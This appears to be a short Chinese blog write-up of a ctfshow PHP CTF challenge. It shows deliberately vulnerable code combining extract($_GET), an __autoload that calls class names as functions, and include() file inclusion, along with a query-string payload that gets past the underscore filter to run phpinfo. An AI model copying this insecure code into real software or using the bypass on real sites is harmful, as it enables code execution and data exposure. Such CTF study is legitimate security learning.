return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}

这题把log给禁用了,先上一下官方给的exphttps://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

学习文章

__autoload($class) 是 PHP 中用于自动加载类的特殊函数。当你试图使用一个尚未定义的类时,PHP 会自动调用这个 __autoload() 函数,并将类名作为参数传递给它。

class_exists($__CTFSHOW__) 是 PHP 中的一个函数调用,用于检查给定的类是否已经定义。

0x01

1
?..CTFSHOW..=phpinfo

我觉得也算非预期,用phpinfo查看,根据特性把_改成了.,搜索ctfshow{

0x02

自己研究下exp吧,我太懒了😋


ctfshow-php特性
http://example.com/2024/09/17/每日一题/ctfshowphp特性/
作者
orange
发布于
2024年9月17日
许可协议